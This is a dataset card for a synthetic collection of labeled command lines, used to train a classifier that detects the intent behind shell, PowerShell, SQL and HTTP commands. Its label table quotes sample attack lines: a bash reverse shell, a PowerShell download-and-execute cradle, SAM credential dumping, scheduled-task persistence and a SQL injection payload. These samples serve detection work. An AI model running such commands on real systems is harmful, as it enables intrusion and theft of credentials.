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---
license: apache-2.0
language:
- en
pretty_name: Script & Payload Intent (Synthetic)
size_categories:
- 10K<n<100K
task_categories:
- text-classification
tags:
- cybersecurity
- security
- malware-detection
- command-line
- powershell
- bash
- sql-injection
- mitre-attack
- synthetic
configs:
- config_name: default
data_files:
- split: train
path: data/train.jsonl
- split: validation
path: data/validation.jsonl
- split: test
path: data/test.jsonl
- config_name: challenge
data_files:
- split: test
path: data/challenge.jsonl
---
# Script & Payload Intent (Synthetic)
Labeled command lines and query fragments from bash, PowerShell, Windows `cmd`, SQL and HTTP request
lines, each tagged with the **intent** behind it. It was built to train
[`DaveyD347/script-intent-distilroberta`](https://huggingface.co/DaveyD347/script-intent-distilroberta),
a classifier that triages process command lines, shell history and WAF logs.
| Label | What it covers | Example |
|---|---|---|
| `benign` | Everyday admin, dev and DBA work, including look-alikes such as `nc -zv`, downloads that aren't executed, base64 and encoded PowerShell | `sudo systemctl restart nginx` |
| `reconnaissance` | Host, user, network, privilege, cloud and AD discovery | `nmap -sV -sC -O 192.0.2.0/24` |
| `credential_harvesting` | LSASS/SAM/NTDS dumping, secrets in files, browsers, cloud metadata, Kerberoasting | `reg save HKLM\SAM C:\Windows\Temp\sam.save` |
| `reverse_shell` | Interactive callbacks to a listener in bash, Python, Perl, PHP, PowerShell, socat and similar | `bash -i >& /dev/tcp/192.0.2.10/4444 0>&1` |
| `persistence` | Cron, systemd, Run keys, scheduled tasks, WMI subscriptions, SSH keys, rogue accounts, web shells | `schtasks /create /tn "Updater" /tr C:\ProgramData\a.exe /sc onlogon` |
| `download_execute` | Fetching a remote payload and running it (stagers, LOLBins, cradles) | `IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.5/a.ps1')` |
| `sql_injection` | Injection payloads as they appear in parameters, queries and request lines | `' UNION SELECT NULL,username,password FROM users-- -` |
## Splits
| Split | Rows | Templates | Purpose |
|---|---|---|---|
| `train` | 11,760 | 377 | Training (1,680 per class) |
| `validation` | 1,680 | 55 | Model selection |
| `test` | 3,360 | 108 | Final evaluation (480 per class) |
| `challenge` | 73 | n/a | Hand-written, out-of-template stress test |
**The splits are template-disjoint.** Every row comes from one of 540 templates, and each template is
assigned to exactly one split, so the test set measures whether a model generalizes to *command
patterns it never saw* rather than to new IPs or file names in familiar commands. A random split would
inflate scores close to 100%. Exact-duplicate texts across splits are removed.
The `challenge` config holds 73 commands written by hand after the templates were final, with different
IP ranges, tools and phrasing (for example `naabu`, `trufflehog`, `pypykatz`, `finger | cmd` stagers and
`msbuild` loaders). None of them come from a template. It is small, so treat its score as a sanity check, not a benchmark.
## Fields
| Field | Type | Description |
|---|---|---|
| `text` | string | The command line, script fragment, query or request line |
| `label` | string | One of the seven labels above |
| `label_id` | int | Index of `label` in the order listed above |
| `language` | string | `bash`, `powershell`, `cmd`, `sql` or `http` |
| `mitre_technique` | string or null | MITRE ATT&CK technique ID for malicious rows (null for benign) |
| `template_id` | string | Source template, for group-aware splitting and error analysis |
## How it was made
1. **Templates.** 540 hand-written templates: 389 malicious ones, each a known technique documented publicly in
MITRE ATT&CK, Atomic Red Team, Sigma rules or common pentest cheat sheets, plus 151 benign templates
drawn from routine Linux, Windows, container, cloud and SQL administration.
2. **Slot filling.** IPs, ports, users, domains, paths, file names, service names, tables and base64
blobs are randomized per row. Base64 slots carry real encodings (UTF-16LE for PowerShell
`-EncodedCommand`) of either malicious or benign commands, so encoded text appears in both classes.
3. **Augmentation.** Random casing for Windows commands, absolute binary paths, `sudo` prefixes,
`cmd.exe /c` and `powershell.exe -Command` wrappers, doubled spaces, and SQL-injection-specific
prefix, comment, case and whitespace-encoding variants.
Reproduce with `python src/generate_dataset.py --out data --per-class 2400 --seed 42`.
### Safety and privacy
- **No real infrastructure.** All IPs are RFC 5737 documentation ranges (`192.0.2.0/24`,
`198.51.100.0/24`, `203.0.113.0/24`) in the generated splits and RFC 1918 private ranges in the challenge set; domains use `.example`/`.test` or `example.com`-style names.
- **No real people or secrets.** Usernames, passwords and SSH keys are fake placeholders.
- **No novel tooling.** Every malicious pattern is a publicly documented technique that defenders
already write detections for. The dataset contains command *strings*, not binaries or exploits.
## Limitations
- **Synthetic distribution.** Real command lines are longer, messier and more varied. Expect lower
accuracy on production telemetry than on this test split.
- **One label per row.** Real attacks chain intents (a cron job that opens a reverse shell is both
persistence and a reverse shell). Each row gets the label of its *primary* intent; a cron entry is
labeled `persistence` even if its payload is a reverse shell.
- **Context-free.** Some commands (`whoami`, `net user`, `sudo -l`) are benign or reconnaissance
depending on who runs them and when. The dataset labels them by their typical use in attack
chains, and the `benign` class includes the most common everyday forms.
- **Obfuscation coverage is shallow.** Heavy obfuscation (Invoke-Obfuscation, string concatenation,
environment-variable tricks) is mostly absent.
- **English, Latin-script only.** Comments and identifiers are English.
## Intended use
Training and evaluating command-line intent classifiers, detection-engineering prototypes, and
teaching. It should not be the only signal in a production detection pipeline.
## Citation
```bibtex
@misc{script_intent_2026,
title = {Script & Payload Intent (Synthetic)},
author = {DaveyD347},
year = {2026},
url = {https://huggingface.co/datasets/DaveyD347/script-intent-commands}
}
```